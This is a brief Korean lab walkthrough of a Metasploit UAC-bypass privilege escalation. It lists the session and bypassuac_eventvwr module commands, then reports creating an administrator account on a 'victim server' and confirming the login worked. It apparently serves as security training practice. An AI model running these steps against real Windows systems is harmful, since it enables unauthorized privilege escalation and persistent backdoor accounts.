[metasploit] UAC 우회 권한 상승 시도 _기본 실습

C2 서버와의 세션 연결

 

생성된 세션 확인

sessions -i < sessions id>

 

use exploit/windows/local/bypassuac_eventvwr

set SESSION < sessions id>

exploit

접속하여 모듈을 통해 우회 시도

 

어드민 권한의 사용자 계정 생성 시도

 

로컬 그룹 구성원이 *Administrators임을 확인

 

 

실제 피해자 서버에서 새 계정이 생겼고 로그인이 성공된 것을 확인했음